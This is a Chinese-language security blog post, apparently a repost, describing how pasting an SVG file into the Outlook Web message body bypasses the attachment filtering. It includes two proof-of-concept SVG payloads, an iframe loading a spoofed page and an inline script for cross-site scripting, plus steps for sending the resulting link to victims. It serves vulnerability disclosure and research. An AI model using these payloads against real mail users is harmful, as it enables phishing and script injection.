新技术:绕过文件上传

128 阅读4分钟

官网:http://securitytech.cc/

新技术:绕过文件上传

本文重点:绕过文件上传限制

简介 在我对 Outlook Web 的安全研究中,发现了一个异常行为,进而触发并确认了一个安全漏洞。下面我会说明我是如何发现这个问题、如何分析,以及为什么会出现这个问题。该漏洞目前正在被微软修复,但发现与分析的过程对其他安全研究人员仍然有参考价值。本文的主要集中点是如何绕过文件上传限制。


漏洞是如何被发现的

起初我想测试 Outlook Web 对不同类型文件的处理方式。于是我创建了一个 test.svg 文件,并用两种不同方式把它附加到邮件中:

1. 第一种方法:作为附件上传

  • 当我把 SVG 文件作为附件上传时,微软会把该文件作为可下载项提供。
    • 但在某些情况下,上传这类文件会被阻止。

2. 第二种方法:复制/粘贴(Ctrl+C, Ctrl+V)到邮件正文

  • 在这种情况下,文件并没有作为可下载项提供,而是直接在邮件正文中显示!
    • 也就是说,SVG 内容被嵌入到邮件里,没有经过安全过滤,并在接收方端被加载。

这种行为差异让我觉得不寻常,值得深挖。


技术分析:为什么会这样?

1. Outlook Web 中 contentEditabledesignMode 的作用

Outlook Web 在编辑区域采用了 contentEditable。这个特性允许 HTML 内容被直接插入到邮件正文中。

  • 当我把 SVG 作为附件上传时,微软的服务器会对文件做处理并应用安全规则。
    • 但当我复制粘贴 SVG 时,文件内容作为 HTML 正文的一部分被插入,并没有被同样的安全过滤处理

也就是说,微软只对“上传的附件”施加安全限制,但没有对“粘贴进来的内容”执行相同的检查。


什么是 contentEditable,它如何工作?

contentEditable 是 HTML 的一个属性,允许任何元素直接被用户编辑,类似一个富文本编辑器。


在浏览器中按 Ctrl+C / Ctrl+V 时会发生什么?

第一步:复制(Ctrl+C)

当你在本地选择一个文件(例如 test.svg)并按 Ctrl+C 时,会发生:

  1. 操作系统(OS)把文件放到剪贴板
  • 在 Windows 或 macOS 中,按 Ctrl+C 会把与 test.svg 相关的数据存到系统剪贴板(Clipboard API)。
    • 这些数据可以包含原始文件字节、元数据,甚至 MIME 类型(如 image/svg+xml)。
  1. 剪贴板 API 保存这些信息
  • 浏览器可以通过剪贴板 API 检查剪贴板中的内容类型。
    • 根据数据类型,浏览器可能会获取文本、图片或整个文件。

第二步:在 Outlook Web 中粘贴(Ctrl+V)

当你在邮件正文中按 Ctrl+V,会发生几件关键事:

情形一:粘贴到 contentEditable 字段(Outlook Web) 由于 Outlook Web 使用 contentEditable,浏览器会检查剪贴板内容:

  1. 浏览器查询剪贴板:剪贴板里是否有文件或 HTML 内容?
    1. 如果存在文件(例如 test.svg),浏览器检查该文件类型是否允许直接粘贴进 contentEditable
    1. 由于 SVG 是文本型文件(基于 XML),浏览器可能会将其内容视为 HTML 文本而非“文件”。
    1. 结果,浏览器把 test.svg 的内容直接插入邮件正文 —— 就像用户粘贴了一个 HTML 片段!

这就允许 SVG 中的任意恶意代码被执行。


如何利用这个行为?

利用这个意外行为,我能够在 SVG 文件中嵌入代码,从而实现多种攻击。下面给出两个示例:

a) 在 SVG 内嵌 iframe

一个限制是它不能直接加载使用 IP 或 HTTP 的地址,所以我买了一个域名并在上面放了一个伪造测试页面: https://yamikaza.com/fake.html

嵌入的 SVG 代码如下:

<svg width="100vw" height="100vh">
<foreignObject width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml" style="margin: 0; height: 100%;">
<iframe
src="https://yamikaza.com/fake.html"
width="100%"
height="100%"
style="border: none;"
></iframe>
</body>
</foreignObject>
</svg>

该代码会在 attachment.outlook.live.net 这个域下加载伪造页面,可能会让用户误以为这是官方的 Microsoft 页面。

b) 在 SVG 中执行 JavaScript(XSS)

示例代码:

<svg
xmlns="http://www.w3.org/2000/svg"
width="400"
height="400"
viewBox="0 0 124 124"
fill="none"
>
<rect width="124" height="124" rx="24" fill="#000000" />
<script type="text/javascript">
alert(origin);
</script>
</svg>

这段代码证明了可以在 attachment.outlook.live.net 域中执行 JavaScript。 尽管该子域无法访问 outlook.live.com 的 cookies,但仍然能在这个子域内运行脚本。


我是如何测试这个攻击的?

  1. 我保存了一个恶意的 SVG 文件。
    1. 我使用 Ctrl+C、Ctrl+V 将其粘贴到邮件正文。
    1. 我发送了邮件。
    1. 我右键图片并复制其 URL。
    1. Outlook 自动为该图片生成了链接,这个链接可直接发送给受害者以便利用。

结论

这项研究展示了“上传文件”和“粘贴内容”在处理流程上存在差异,而这种差异可能导致安全漏洞。安全研究者应当注意并调查任何看起来异常或不一致的行为——因为即便是最小的差别,也可能造成重大的安全隐患。

公众号:安全狗的自我修养

vx:2207344074

Gitee:gitee.com/haidragon

GitHub:github.com/haidragon

Bilibili:haidragonx